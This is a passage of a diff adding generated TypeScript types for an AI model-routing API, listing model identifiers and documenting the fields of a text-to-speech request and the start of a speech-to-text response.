'inclusionai/ling-3.0-tiny', + 'inclusionai/ling-3.1-flash': 'inclusionai/ling-3.1-flash', + 'inference-net/schematron-v2-small': 'inference-net/schematron-v2-small', + 'inference-net/schematron-v2-turbo': 'inference-net/schematron-v2-turbo', + 'liquid/lfm-2.5-2.6b': 'liquid/lfm-2.5-2.6b', + 'liquid/lfm-2.5-2.6b:free': 'liquid/lfm-2.5-2.6b:free', + 'liquid/lfm-2.5-24b-a2b': 'liquid/lfm-2.5-24b-a2b', + 'liquid/lfm-3-1.7b': 'liquid/lfm-3-1.7b', + 'liquid/lfm-3-1.7b:free': 'liquid/lfm-3-1.7b:free', + 'mancer/weaver': 'mancer/weaver', + 'meituan/longcat-2.0': 'meituan/longcat-2.0', + 'meta-llama/llama-3.1-70b-instruct': 'meta-llama/llama-3.1-70b-instruct', + 'meta-llama/llama-3.1-8b-instruct': 'meta-llama/llama-3.1-8b-instruct', + 'meta-llama/llama-3.2-1b-instruct': 'meta-llama/llama-3.2-1b-instruct', + 'meta-llama/llama-3.2-3b-instruct': 'meta-llama/llama-3.2-3b-instruct', + 'meta-llama/llama-3.3-70b-instruct': 'meta-llama/llama-3.3-70b-instruct', + 'meta-llama/llama-4-maverick': 'meta-llama/llama-4-maverick', + 'meta-llama/llama-4-scout': 'meta-llama/llama-4-scout', + 'meta-llama/llama-guard-4-12b': 'meta-llama/llama-guard-4-12b', + 'meta/muse-glimmer-30b': 'meta/muse-glimmer-30b', + 'meta/muse-glimmer-30b:batch': 'meta/muse-glimmer-30b:batch', + 'meta/muse-spark-1.1': 'meta/muse-spark-1.1', + 'meta/muse-spark-1.2': 'meta/muse-spark-1.2', + 'meta/muse-spark-1.2-contributor': 'meta/muse-spark-1.2-contributor', + 'meta/muse-spark-1.3': 'meta/muse-spark-1.3', + 'meta/muse-spark-1.3-contributor': 'meta/muse-spark-1.3-contributor', + 'meta/muse-spark-open': 'meta/muse-spark-open', + 'meta/muse-wonder': 'meta/muse-wonder', + 'microsoft/phi-4': 'microsoft/phi-4', + 'minimax/minimax-m1': 'minimax/minimax-m1', + 'minimax/minimax-m2.5': 'minimax/minimax-m2.5', + 'minimax/minimax-m2.7': 'minimax/minimax-m2.7', + 'minimax/minimax-m3': 'minimax/minimax-m3', + 'minimax/minimax-m3.1-flash': 'minimax/minimax-m3.1-flash', + 'minimax/minimax-m3:batch': 'minimax/minimax-m3:batch', + 'mistralai/codestral-2508': 'mistralai/codestral-2508', + 'mistralai/devstral-2512': 'mistralai/devstral-2512', + 'mistralai/ministral-14b-2512': 'mistralai/ministral-14b-2512', + 'mistralai/ministral-3b-2512': 'mistralai/ministral-3b-2512', + 'mistralai/ministral-8b-2512': 'mistralai/ministral-8b-2512', + 'mistralai/mistral-large': 'mistralai/mistral-large', + 'mistralai/mistral-large-2407': 'mistralai/mistral-large-2407', + 'mistralai/mistral-large-2512': 'mistralai/mistral-large-2512', + 'mistralai/mistral-large-4-0': 'mistralai/mistral-large-4-0', + 'mistralai/mistral-medium-3': 'mistralai/mistral-medium-3', + 'mistralai/mistral-medium-3.1': 'mistralai/mistral-medium-3.1', + 'mistralai/mistral-medium-3-5': 'mistralai/mistral-medium-3-5', + 'mistralai/mistral-medium-3-5:batch': 'mistralai/mistral-medium-3-5:batch', + 'mistralai/mistral-nemo': 'mistralai/mistral-nemo', + 'mistralai/mistral-saba': 'mistralai/mistral-saba', + 'mistralai/mistral-small-24b-instruct-2501': + 'mistralai/mistral-small-24b-instruct-2501', + 'mistralai/mistral-small-2603': 'mistralai/mistral-small-2603', + 'mistralai/mistral-small-3.1-24b-instruct': + 'mistralai/mistral-small-3.1-24b-instruct', + 'mistralai/mistral-small-3.2-24b-instruct': + 'mistralai/mistral-small-3.2-24b-instruct', + 'mistralai/mixtral-8x22b-instruct': 'mistralai/mixtral-8x22b-instruct', + 'mistralai/voxtral-small-24b-2507': 'mistralai/voxtral-small-24b-2507', + 'moondream/moondream3.1-9b-a2b': 'moondream/moondream3.1-9b-a2b', + 'moondream/moondream3-preview': 'moondream/moondream3-preview', + 'moonshotai/kimi-k2': 'moonshotai/kimi-k2', + 'moonshotai/kimi-k2-0905': 'moonshotai/kimi-k2-0905', + 'moonshotai/kimi-k2.5': 'moonshotai/kimi-k2.5', + 'moonshotai/kimi-k2.6': 'moonshotai/kimi-k2.6', + 'moonshotai/kimi-k2.7-code': 'moonshotai/kimi-k2.7-code', + 'moonshotai/kimi-k2-thinking': 'moonshotai/kimi-k2-thinking', + 'moonshotai/kimi-k3': 'moonshotai/kimi-k3', + 'moonshotai/kimi-k3.1-pro': 'moonshotai/kimi-k3.1-pro', + 'moonshotai/kimi-k3:batch': 'moonshotai/kimi-k3:batch', + '~moonshotai/kimi-latest': '~moonshotai/kimi-latest', + 'morph/morph-v3-fast': 'morph/morph-v3-fast', + 'morph/morph-v3-fast:batch': 'morph/morph-v3-fast:batch', + 'morph/morph-v3-large': 'morph/morph-v3-large', + 'morph/morph-v3-large:batch': 'morph/morph-v3-large:batch', + 'nex-agi/nex-n2.5-mini': 'nex-agi/nex-n2.5-mini', + 'nex-agi/nex-n2.5-pro': 'nex-agi/nex-n2.5-pro', + 'nousresearch/hermes-4-405b': 'nousresearch/hermes-4-405b', + 'nvidia/nemotron-3.5-content-safety': 'nvidia/nemotron-3.5-content-safety', + 'nvidia/nemotron-3.5-lightning': 'nvidia/nemotron-3.5-lightning', + 'nvidia/nemotron-3.5-lightning:free': 'nvidia/nemotron-3.5-lightning:free', + 'nvidia/nemotron-3.5-super-vl': 'nvidia/nemotron-3.5-super-vl', + 'nvidia/nemotron-3.5-super-vl:free': 'nvidia/nemotron-3.5-super-vl:free', + 'nvidia/nemotron-3-nano-30b-a3b': 'nvidia/nemotron-3-nano-30b-a3b', + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free': + 'nvidia/nemotron-3-nano-omni-30b-a3b-reasoning:free', + 'nvidia/nemotron-3-super-120b-a12b': 'nvidia/nemotron-3-super-120b-a12b', + 'nvidia/nemotron-3-ultra-550b-a55b': 'nvidia/nemotron-3-ultra-550b-a55b', + 'nvidia/nemotron-3-ultra-550b-a55b:free': + 'nvidia/nemotron-3-ultra-550b-a55b:free', + 'nvidia/switchyard': 'nvidia/switchyard', + 'openai/gpt-3.5-turbo-0613': 'openai/gpt-3.5-turbo-0613', + 'openai/gpt-3.5-turbo-16k': 'openai/gpt-3.5-turbo-16k', + 'openai/gpt-4': 'openai/gpt-4', + 'openai/gpt-4.1': 'openai/gpt-4.1', + 'openai/gpt-4.1:batch': 'openai/gpt-4.1:batch', + 'openai/gpt-4.1-mini': 'openai/gpt-4.1-mini', + 'openai/gpt-4.1-mini:batch': 'openai/gpt-4.1-mini:batch', + 'openai/gpt-4.1-nano': 'openai/gpt-4.1-nano', + 'openai/gpt-4.1-nano:batch': 'openai/gpt-4.1-nano:batch', + 'openai/gpt-4-turbo:batch': 'openai/gpt-4-turbo:batch', + 'openai/gpt-4o': 'openai/gpt-4o', + 'openai/gpt-4o-2024-05-13': 'openai/gpt-4o-2024-05-13', + 'openai/gpt-4o-2024-08-06': 'openai/gpt-4o-2024-08-06', + 'openai/gpt-4o-2024-11-20': 'openai/gpt-4o-2024-11-20', + 'openai/gpt-4o:batch': 'openai/gpt-4o:batch', + 'openai/gpt-4o-mini': 'openai/gpt-4o-mini', + 'openai/gpt-4o-mini-2024-07-18': 'openai/gpt-4o-mini-2024-07-18', + 'openai/gpt-4o-mini:batch': 'openai/gpt-4o-mini:batch', + 'openai/gpt-5': 'openai/gpt-5', + 'openai/gpt-5.1': 'openai/gpt-5.1', + 'openai/gpt-5.1:batch': 'openai/gpt-5.1:batch', + 'openai/gpt-5.1-codex': 'openai/gpt-5.1-codex', + 'openai/gpt-5.1-codex-max': 'openai/gpt-5.1-codex-max', + 'openai/gpt-5.1-codex-mini': 'openai/gpt-5.1-codex-mini', + 'openai/gpt-5.2': 'openai/gpt-5.2', + 'openai/gpt-5.2:batch': 'openai/gpt-5.2:batch', + 'openai/gpt-5.2-chat': 'openai/gpt-5.2-chat', + 'openai/gpt-5.2-codex': 'openai/gpt-5.2-codex', + 'openai/gpt-5.2-pro': 'openai/gpt-5.2-pro', + 'openai/gpt-5.2-pro:batch': 'openai/gpt-5.2-pro:batch', + 'openai/gpt-5.3-codex': 'openai/gpt-5.3-codex', + 'openai/gpt-5.4': 'openai/gpt-5.4', + 'openai/gpt-5.4:batch': 'openai/gpt-5.4:batch', + 'openai/gpt-5.4-image-2': 'openai/gpt-5.4-image-2', + 'openai/gpt-5.4-mini': 'openai/gpt-5.4-mini', + 'openai/gpt-5.4-mini:batch': 'openai/gpt-5.4-mini:batch', + 'openai/gpt-5.4-nano': 'openai/gpt-5.4-nano', + 'openai/gpt-5.4-nano:batch': 'openai/gpt-5.4-nano:batch', + 'openai/gpt-5.4-pro': 'openai/gpt-5.4-pro', + 'openai/gpt-5.4-pro:batch': 'openai/gpt-5.4-pro:batch', + 'openai/gpt-5.5': 'openai/gpt-5.5', + 'openai/gpt-5.5:batch': 'openai/gpt-5.5:batch', + 'openai/gpt-5.5-pro': 'openai/gpt-5.5-pro', + 'openai/gpt-5.5-pro:batch': 'openai/gpt-5.5-pro:batch', + 'openai/gpt-5.6-luna': 'openai/gpt-5.6-luna', + 'openai/gpt-5.6-luna:batch': 'openai/gpt-5.6-luna:batch', + 'openai/gpt-5.6-luna-pro': 'openai/gpt-5.6-luna-pro', + 'openai/gpt-5.6-luna-pro:batch': 'openai/gpt-5.6-luna-pro:batch', + 'openai/gpt-5.6-sol': 'openai/gpt-5.6-sol', + 'openai/gpt-5.6-sol:batch': 'openai/gpt-5.6-sol:batch', + 'openai/gpt-5.6-sol-pro': 'openai/gpt-5.6-sol-pro', + 'openai/gpt-5.6-sol-pro:batch': 'openai/gpt-5.6-sol-pro:batch', + 'openai/gpt-5.6-terra': 'openai/gpt-5.6-terra', + 'openai/gpt-5.6-terra:batch': 'openai/gpt-5.6-terra:batch', + 'openai/gpt-5.6-terra-pro': 'openai/gpt-5.6-terra-pro', + 'openai/gpt-5.6-terra-pro:batch': 'openai/gpt-5.6-terra-pro:batch', + 'openai/gpt-5:batch': 'openai/gpt-5:batch', + 'openai/gpt-5-image': 'openai/gpt-5-image', + 'openai/gpt-5-image-mini': 'openai/gpt-5-image-mini', + 'openai/gpt-5-mini': 'openai/gpt-5-mini', + 'openai/gpt-5-mini:batch': 'openai/gpt-5-mini:batch', + 'openai/gpt-5-nano': 'openai/gpt-5-nano', + 'openai/gpt-5-nano:batch': 'openai/gpt-5-nano:batch', + 'openai/gpt-5-pro': 'openai/gpt-5-pro', + 'openai/gpt-5-pro:batch': 'openai/gpt-5-pro:batch', + 'openai/gpt-6.1-sol': 'openai/gpt-6.1-sol', + 'openai/gpt-6.1-sol:batch': 'openai/gpt-6.1-sol:batch', + 'openai/gpt-6.1-sol-pro': 'openai/gpt-6.1-sol-pro', + 'openai/gpt-6.1-sol-pro:batch': 'openai/gpt-6.1-sol-pro:batch', + 'openai/gpt-6.1-terra': 'openai/gpt-6.1-terra', + 'openai/gpt-6.1-terra:batch': 'openai/gpt-6.1-terra:batch', + 'openai/gpt-6.1-terra-pro': 'openai/gpt-6.1-terra-pro', + 'openai/gpt-6.1-terra-pro:batch': 'openai/gpt-6.1-terra-pro:batch', + 'openai/gpt-6-astra': 'openai/gpt-6-astra', + 'openai/gpt-6-astra:batch': 'openai/gpt-6-astra:batch', + 'openai/gpt-6-astra-pro': 'openai/gpt-6-astra-pro', + 'openai/gpt-6-astra-pro:batch': 'openai/gpt-6-astra-pro:batch', + 'openai/gpt-6-luna': 'openai/gpt-6-luna', + 'openai/gpt-6-luna:batch': 'openai/gpt-6-luna:batch', + 'openai/gpt-6-luna-pro': 'openai/gpt-6-luna-pro', + 'openai/gpt-6-luna-pro:batch': 'openai/gpt-6-luna-pro:batch', + 'openai/gpt-6-sol': 'openai/gpt-6-sol', + 'openai/gpt-6-sol:batch': 'openai/gpt-6-sol:batch', + 'openai/gpt-6-sol-pro': 'openai/gpt-6-sol-pro', + 'openai/gpt-6-sol-pro:batch': 'openai/gpt-6-sol-pro:batch', + '~openai/gpt-astra-latest': '~openai/gpt-astra-latest', + 'openai/gpt-audio': 'openai/gpt-audio', + 'openai/gpt-audio-mini': 'openai/gpt-audio-mini', + 'openai/gpt-chat-latest': 'openai/gpt-chat-latest', + '~openai/gpt-luna-latest': '~openai/gpt-luna-latest', + '~openai/gpt-mini-latest': '~openai/gpt-mini-latest', + 'openai/gpt-oss-120b': 'openai/gpt-oss-120b', + 'openai/gpt-oss-120b:batch': 'openai/gpt-oss-120b:batch', + 'openai/gpt-oss-20b': 'openai/gpt-oss-20b', + 'openai/gpt-oss-20b:batch': 'openai/gpt-oss-20b:batch', + 'openai/gpt-oss-safeguard-20b': 'openai/gpt-oss-safeguard-20b', + '~openai/gpt-sol-latest': '~openai/gpt-sol-latest', + '~openai/gpt-terra-latest': '~openai/gpt-terra-latest', + 'openai/o3': 'openai/o3', + 'openai/o3:batch': 'openai/o3:batch', + 'openai/o3-mini:batch': 'openai/o3-mini:batch', + 'openai/o3-pro': 'openai/o3-pro', + 'openai/o4-mini:batch': 'openai/o4-mini:batch', + 'openrouter/auto': 'openrouter/auto', + 'openrouter/auto-beta': 'openrouter/auto-beta', + 'openrouter/auto-code': 'openrouter/auto-code', + 'openrouter/bodybuilder': 'openrouter/bodybuilder', + 'openrouter/free': 'openrouter/free', + 'openrouter/fusion': 'openrouter/fusion', + 'openrouter/pareto-code': 'openrouter/pareto-code', + 'particle-ai/particle-1': 'particle-ai/particle-1', + 'perceptron/perceptron-mk1': 'perceptron/perceptron-mk1', + 'perceptron/perceptron-mk1.5': 'perceptron/perceptron-mk1.5', + 'perplexity/sonar': 'perplexity/sonar', + 'perplexity/sonar-deep-research': 'perplexity/sonar-deep-research', + 'perplexity/sonar-pro': 'perplexity/sonar-pro', + 'perplexity/sonar-pro-search': 'perplexity/sonar-pro-search', + 'perplexity/sonar-reasoning-pro': 'perplexity/sonar-reasoning-pro', + 'prism-ml/ternary-bonsai-2-27b': 'prism-ml/ternary-bonsai-2-27b', + 'prism-ml/ternary-bonsai-2-9b': 'prism-ml/ternary-bonsai-2-9b', + 'qwen/qwen-2.5-72b-instruct': 'qwen/qwen-2.5-72b-instruct', + 'qwen/qwen-2.5-7b-instruct': 'qwen/qwen-2.5-7b-instruct', + 'qwen/qwen-2.5-coder-32b-instruct': 'qwen/qwen-2.5-coder-32b-instruct', + 'qwen/qwen-plus': 'qwen/qwen-plus', + 'qwen/qwen2.5-vl-72b-instruct': 'qwen/qwen2.5-vl-72b-instruct', + 'qwen/qwen3-14b': 'qwen/qwen3-14b', + 'qwen/qwen3-235b-a22b-2507': 'qwen/qwen3-235b-a22b-2507', + 'qwen/qwen3-235b-a22b-thinking-2507': 'qwen/qwen3-235b-a22b-thinking-2507', + 'qwen/qwen3-30b-a3b': 'qwen/qwen3-30b-a3b', + 'qwen/qwen3-30b-a3b-instruct-2507': 'qwen/qwen3-30b-a3b-instruct-2507', + 'qwen/qwen3-32b': 'qwen/qwen3-32b', + 'qwen/qwen3.5-122b-a10b': 'qwen/qwen3.5-122b-a10b', + 'qwen/qwen3.5-27b': 'qwen/qwen3.5-27b', + 'qwen/qwen3.5-35b-a3b': 'qwen/qwen3.5-35b-a3b', + 'qwen/qwen3.5-397b-a17b': 'qwen/qwen3.5-397b-a17b', + 'qwen/qwen3.5-9b': 'qwen/qwen3.5-9b', + 'qwen/qwen3.5-flash-02-23': 'qwen/qwen3.5-flash-02-23', + 'qwen/qwen3.5-plus-02-15': 'qwen/qwen3.5-plus-02-15', + 'qwen/qwen3.5-plus-20260420': 'qwen/qwen3.5-plus-20260420', + 'qwen/qwen3.6-27b': 'qwen/qwen3.6-27b', + 'qwen/qwen3.6-35b-a3b': 'qwen/qwen3.6-35b-a3b', + 'qwen/qwen3.6-flash': 'qwen/qwen3.6-flash', + 'qwen/qwen3.6-plus': 'qwen/qwen3.6-plus', + 'qwen/qwen3.7-flash': 'qwen/qwen3.7-flash', + 'qwen/qwen3.7-max': 'qwen/qwen3.7-max', + 'qwen/qwen3.7-plus': 'qwen/qwen3.7-plus', + 'qwen/qwen3.7-plus:batch': 'qwen/qwen3.7-plus:batch', + 'qwen/qwen3.8-2.4t-a95b': 'qwen/qwen3.8-2.4t-a95b', + 'qwen/qwen3.8-27b': 'qwen/qwen3.8-27b', + 'qwen/qwen3.8-27b:batch': 'qwen/qwen3.8-27b:batch', + 'qwen/qwen3.8-flash': 'qwen/qwen3.8-flash', + 'qwen/qwen3.8-max-0902': 'qwen/qwen3.8-max-0902', + 'qwen/qwen3.8-max-prime': 'qwen/qwen3.8-max-prime', + 'qwen/qwen3.8-omni-flash': 'qwen/qwen3.8-omni-flash', + 'qwen/qwen3-coder': 'qwen/qwen3-coder', + 'qwen/qwen3-coder-30b-a3b-instruct': 'qwen/qwen3-coder-30b-a3b-instruct', + 'qwen/qwen3-coder-flash': 'qwen/qwen3-coder-flash', + 'qwen/qwen3-coder-next': 'qwen/qwen3-coder-next', + 'qwen/qwen3-next-80b-a3b-instruct': 'qwen/qwen3-next-80b-a3b-instruct', + 'qwen/qwen3-vl-235b-a22b-instruct': 'qwen/qwen3-vl-235b-a22b-instruct', + 'qwen/qwen3-vl-30b-a3b-instruct': 'qwen/qwen3-vl-30b-a3b-instruct', + 'qwen/qwen3-vl-30b-a3b-thinking': 'qwen/qwen3-vl-30b-a3b-thinking', + 'qwen/qwen3-vl-8b-instruct': 'qwen/qwen3-vl-8b-instruct', + 'recursive/flint-v1.0:free': 'recursive/flint-v1.0:free', + 'reflection/beam-1.0-501b-a23b': 'reflection/beam-1.0-501b-a23b', + 'rekaai/reka-edge': 'rekaai/reka-edge', + 'rekaai/reka-flash-3': 'rekaai/reka-flash-3', + 'relace/relace-apply-3': 'relace/relace-apply-3', + 'relace/relace-search': 'relace/relace-search', + 'ricursiveai/ripple-65b-preview': 'ricursiveai/ripple-65b-preview', + 'sakana/fugu-max': 'sakana/fugu-max', + 'sakana/fugu-ultra': 'sakana/fugu-ultra', + 'sakana/fugu-ultra-v2': 'sakana/fugu-ultra-v2', + 'sakana/sakana-namazu': 'sakana/sakana-namazu', + 'sao10k/l3.1-euryale-70b': 'sao10k/l3.1-euryale-70b', + 'sao10k/l3-lunaris-8b': 'sao10k/l3-lunaris-8b', + 'scaledown/extract': 'scaledown/extract', + 'scaledown/summarize': 'scaledown/summarize', + 'stealth/crouton-alpha': 'stealth/crouton-alpha', + 'stepfun/step-3.5-flash': 'stepfun/step-3.5-flash', + 'stepfun/step-3.7-flash': 'stepfun/step-3.7-flash', + 'stepfun/step-5-preview': 'stepfun/step-5-preview', + 'tencent/hunyuan-a13b-instruct': 'tencent/hunyuan-a13b-instruct', + 'tencent/hy-mt2-1.8b': 'tencent/hy-mt2-1.8b', + 'tencent/hy-mt2-30b-a3b': 'tencent/hy-mt2-30b-a3b', + 'tencent/hy-mt2-7b': 'tencent/hy-mt2-7b', + 'tencent/hy3': 'tencent/hy3', + 'tencent/hy3-preview': 'tencent/hy3-preview', + 'tencent/hy4': 'tencent/hy4', + 'tencent/hy4-preview': 'tencent/hy4-preview', + 'thedrummer/cydonia-24b-v4.1': 'thedrummer/cydonia-24b-v4.1', + 'thedrummer/skyfall-36b-v2': 'thedrummer/skyfall-36b-v2', + 'thedrummer/unslopnemo-12b': 'thedrummer/unslopnemo-12b', + 'thinkingmachines/inkling': 'thinkingmachines/inkling', + 'thinkingmachines/inkling-small': 'thinkingmachines/inkling-small', + 'thinkingmachines/inkling-small:batch': + 'thinkingmachines/inkling-small:batch', + 'typesafe/jev-router': 'typesafe/jev-router', + 'unbiased/pareto-26.10': 'unbiased/pareto-26.10', + 'unbiased/pareto-26.9': 'unbiased/pareto-26.9', + '~unbiased/pareto-latest': '~unbiased/pareto-latest', + 'undi95/remm-slerp-l2-13b': 'undi95/remm-slerp-l2-13b', + 'upstage/solar-mini4': 'upstage/solar-mini4', + 'upstage/solar-pro4': 'upstage/solar-pro4', + 'writer/palmyra-x5': 'writer/palmyra-x5', + 'x-ai/grok-4.20': 'x-ai/grok-4.20', + 'x-ai/grok-4.20-multi-agent': 'x-ai/grok-4.20-multi-agent', + 'x-ai/grok-4.3': 'x-ai/grok-4.3', + 'x-ai/grok-4.3:batch': 'x-ai/grok-4.3:batch', + 'x-ai/grok-4.5': 'x-ai/grok-4.5', + 'x-ai/grok-4.6': 'x-ai/grok-4.6', + 'x-ai/grok-4.6:batch': 'x-ai/grok-4.6:batch', + 'x-ai/grok-4.7': 'x-ai/grok-4.7', + 'x-ai/grok-4.7:batch': 'x-ai/grok-4.7:batch', + 'x-ai/grok-build-0.1': 'x-ai/grok-build-0.1', + '~x-ai/grok-latest': '~x-ai/grok-latest', + 'xiaomi/mimo-v2.5': 'xiaomi/mimo-v2.5', + 'xiaomi/mimo-v2.5-pro': 'xiaomi/mimo-v2.5-pro', + 'xiaomi/mimo-v2.6-flash': 'xiaomi/mimo-v2.6-flash', + 'xiaomi/mimo-v2.6-pro': 'xiaomi/mimo-v2.6-pro', + 'xiaomi/mimo-v2.6-pro-ultraspeed': 'xiaomi/mimo-v2.6-pro-ultraspeed', + 'xingchen-agi/xing4.0-29b-a4b:free': 'xingchen-agi/xing4.0-29b-a4b:free', + 'z-ai/glm-4.5': 'z-ai/glm-4.5', + 'z-ai/glm-4.5-air': 'z-ai/glm-4.5-air', + 'z-ai/glm-4.5v': 'z-ai/glm-4.5v', + 'z-ai/glm-4.6': 'z-ai/glm-4.6', + 'z-ai/glm-4.6v': 'z-ai/glm-4.6v', + 'z-ai/glm-4.7': 'z-ai/glm-4.7', + 'z-ai/glm-4.7-flash': 'z-ai/glm-4.7-flash', + 'z-ai/glm-5': 'z-ai/glm-5', + 'z-ai/glm-5.1': 'z-ai/glm-5.1', + 'z-ai/glm-5.2': 'z-ai/glm-5.2', + 'z-ai/glm-5.2:batch': 'z-ai/glm-5.2:batch', + 'z-ai/glm-5.3': 'z-ai/glm-5.3', + 'z-ai/glm-5.3:batch': 'z-ai/glm-5.3:batch', + 'z-ai/glm-5.3-flash': 'z-ai/glm-5.3-flash', + 'z-ai/glm-5.3-flash:batch': 'z-ai/glm-5.3-flash:batch', + 'z-ai/glm-5.3-flashx': 'z-ai/glm-5.3-flashx', + 'z-ai/glm-5.3-flashx-legal': 'z-ai/glm-5.3-flashx-legal', + 'z-ai/glm-5.3-prime': 'z-ai/glm-5.3-prime', + 'z-ai/glm-5-turbo': 'z-ai/glm-5-turbo', + 'z-ai/glm-5v-turbo': 'z-ai/glm-5v-turbo', + '~z-ai/glm-flash-latest': '~z-ai/glm-flash-latest', + '~z-ai/glm-latest': '~z-ai/glm-latest', +} as const + +export type OpenrouterPostAudioSpeechRequestModelEnumKey = + (typeof openrouterPostAudioSpeechRequestModelEnum)[keyof typeof openrouterPostAudioSpeechRequestModelEnum] + +export const openrouterPostAudioSpeechRequestProviderDataCollectionEnum = { + deny: 'deny', + allow: 'allow', +} as const + +export type OpenrouterPostAudioSpeechRequestProviderDataCollectionEnumKey = + (typeof openrouterPostAudioSpeechRequestProviderDataCollectionEnum)[keyof typeof openrouterPostAudioSpeechRequestProviderDataCollectionEnum] + +export const openrouterPostAudioSpeechRequestResponseFormatEnum = { + mp3: 'mp3', + pcm: 'pcm', +} as const + +export type OpenrouterPostAudioSpeechRequestResponseFormatEnumKey = + (typeof openrouterPostAudioSpeechRequestResponseFormatEnum)[keyof typeof openrouterPostAudioSpeechRequestResponseFormatEnum] + +/** + * @description Text-to-speech request input + * @example {"input":"Hello world","model":"mistralai/voxtral-mini-tts-2603","response_format":"pcm","speed":1,"voice":"en_paul_neutral"} + * @type object + */ +export type OpenrouterPostAudioSpeechBody = { + /** + * @description Text to synthesize, or a list of turns for multi-speaker input. Each turn has its own text, voice, and instructions. Multi-speaker input is supported by Gemini TTS models and by Fish Audio models other than S1. + * @example Hello world + */ + input: SpeechInput + /** + * @description Reference content for stateless voice cloning or voice design. Audio mode: one to three `input_audio` parts, each optionally paired with a `text` part carrying its transcript (a single clip accepts its transcript before or after it; with multiple clips each transcript immediately follows its clip), plus at most one `image_url` part as a scene image on providers that condition the cloned voice on its setting; only routed to endpoints that support voice cloning (and multiple references or image references when those parts are sent). Image mode: exactly one `image_url` part; only routed to endpoints that support image references. An empty array is treated as no reference. + * @example [{"input_audio":{"data":"data:audio/wav;base64,UklGRuQXDABXQVZF..."},"type":"input_audio"},{"text":"I used to rule the world.","type":"text"}] + * @type array | undefined + */ + input_references?: SpeechInputReference[] + /** + * @description Delivery instructions for the whole request, such as tone, pacing, or emotion. Supported by OpenAI gpt-4o-mini-tts, Gemini TTS, and Fish Audio models. Ignored by other providers. + * @example Speak in a warm and friendly tone. + * @type string | undefined + */ + instructions?: string + /** + * @description TTS model identifier + * @example mistralai/voxtral-mini-tts-2603 + * @type string + */ + model: OpenrouterPostAudioSpeechRequestModelEnumKey + /** + * @description Provider configuration: provider routing preferences (`order`, `only`, `ignore`, `allow_fallbacks`), data policy routing preferences (`zdr`, `data_collection`) and provider-specific passthrough options + * @type object | undefined + */ + provider?: { + /** + * @description Whether to allow backup providers to serve requests + * - true: (default) when the primary provider (or your custom providers in "order") is unavailable, use the next best provider. + * - false: use only the primary/custom provider, and return the upstream error if it's unavailable. + * + * @type boolean | undefined + */ + allow_fallbacks?: boolean | null + /** + * @description Data collection setting. If no available model provider meets the requirement, your request will return an error. + * - allow: (default) allow providers which store user data non-transiently and may train on it + * + * - deny: use only providers which do not collect user data. + * @example allow + * @type string | undefined + */ + data_collection?: OpenrouterPostAudioSpeechRequestProviderDataCollectionEnumKey | null + /** + * @description List of provider slugs to ignore. If provided, this list is merged with your account-wide ignored provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + ignore?: (ProviderNameKey | string)[] | null + /** + * @description List of provider slugs to allow. If provided, this list is merged with your account-wide allowed provider settings for this request. + * @example ["openai","anthropic"] + * @type array | undefined + */ + only?: (ProviderNameKey | string)[] | null + /** + * @description Provider-specific options keyed by provider slug. The provider segment is case-insensitive; an endpoint tag after `/` must match the endpoint slug exactly. Only options for the matched provider are forwarded; the rest are ignored. Unrecognized keys are silently dropped. + * @example {"openai":{"max_tokens":1000}} + * @type object | undefined + */ + options?: ProviderOptions + /** + * @description An ordered list of provider slugs. The router will attempt to use the first provider in the subset of this list that supports your requested model, and fall back to the next if it is unavailable. If no providers are available, the request will fail with an error message. + * @example ["openai","anthropic"] + * @type array | undefined + */ + order?: (ProviderNameKey | string)[] | null + /** + * @description Whether to restrict routing to only ZDR (Zero Data Retention) endpoints. When true, only endpoints that do not retain prompts will be used. + * @example true + * @type boolean | undefined + */ + zdr?: boolean | null + } + /** + * @description Audio output format + * @default 'pcm' + * @example pcm + * @type string | undefined + */ + response_format?: OpenrouterPostAudioSpeechRequestResponseFormatEnumKey + /** + * @description A unique identifier for grouping related requests (e.g., a conversation or agent workflow). Used for observability grouping in Broadcast and private logging; never sent to the provider. If provided in both the request body and the x-session-id header, the body value takes precedence. Maximum of 256 characters. + * @maxLength 256 + * @example session-1234 + * @type string | undefined + */ + session_id?: string + /** + * @description Playback speed multiplier. Honored by models that support it (e.g. OpenAI TTS). Other providers either ignore it or return a 400 for a non-default value when the model has no speed control. + * + * Format: `double` + * @example 1 + * @type number | undefined + */ + speed?: number + /** + * @description Metadata for observability and tracing. Known keys (trace_id, trace_name, span_name, generation_name, parent_span_id) have special handling. Additional keys are passed through as custom metadata to configured broadcast destinations. + * @example {"trace_id":"trace-abc123","trace_name":"my-app-trace"} + * @type object | undefined + */ + trace?: TraceConfig + /** + * @description A unique identifier representing your end-user. Forwarded to Broadcast and private logging as the end-user id; never sent to the provider. + * @maxLength 256 + * @example user-1234 + * @type string | undefined + */ + user?: string + /** + * @description Voice identifier (provider-specific). + * @minLength 1 + * @example en_paul_neutral + * @type string | undefined + */ + voice?: string +} + +export type OpenrouterPostAudioSpeechOptions = { + body: OpenrouterPostAudioSpeechBody + path?: never + query?: never + headers?: never +} + +export type OpenrouterPostAudioSpeechResponses = { + '200': OpenrouterPostAudioSpeechStatus200 +} + +/** + * @description Union of all possible responses + */ +export type OpenrouterPostAudioSpeechResponse = + OpenrouterPostAudioSpeechStatus200 + +/** + * @description STT response containing transcribed text and optional usage statistics + * @example {"text":"Hello, this is a test of OpenAI speech-to-text transcription.","usage":{"cost":0.000508,"input_tokens":83,"output_tokens":30,"seconds":9.2,"total_tokens":113}} + * @type object + */ +export type OpenrouterPostAudioTranscriptionsStatus200 = { + /** + * @description Provider confidence for the whole transcript from 0 to 1, present when response_format is verbose_json and the provider scores the full transcript + * + * Format: `double` + * @example 0.94 + * @type number | undefined + */ + confidence?: number + /** + * @description Duration of the input audio in seconds, present when response_format is verbose_json + * + * Format: `double` + * @example 9.2 + * @type number | undefined + */ + duration?: number + /** + * @description Detected entities with character offsets into text, present when the provider runs entity detection + * @type array | undefined + */ + entities?: STTEntity[] + /** + * @description Detected or forced language, present when response_format is verbose_json + * @example english + * @type string | undefined + */ + language?: string + /** + * @description Provider confidence in the detected language from 0 to 1, present when response_format is verbose_json and the provider scores language detection + * + * Format: `double` + * @example 0.98 + * @type number | undefined + */ + language_confidence?: number + /** + * @description Timestamped transcript segments, present when response_format is verbose_json + * @type array | undefined + */ + segments?: STTSegment[] + /** + * @description The task performed, present when response_format is verbose_json + * @example transcribe + * @type string | undefined + */ + task?: string + /** + * @description The transcribed text + * @example Hello, this is a test of OpenAI speech-to-text transcription. The weather is sunny today and the temperature is around 72 degrees. + * @type string + */ + text: string + /** + * @description Aggregated usage statistics for the request + * @example 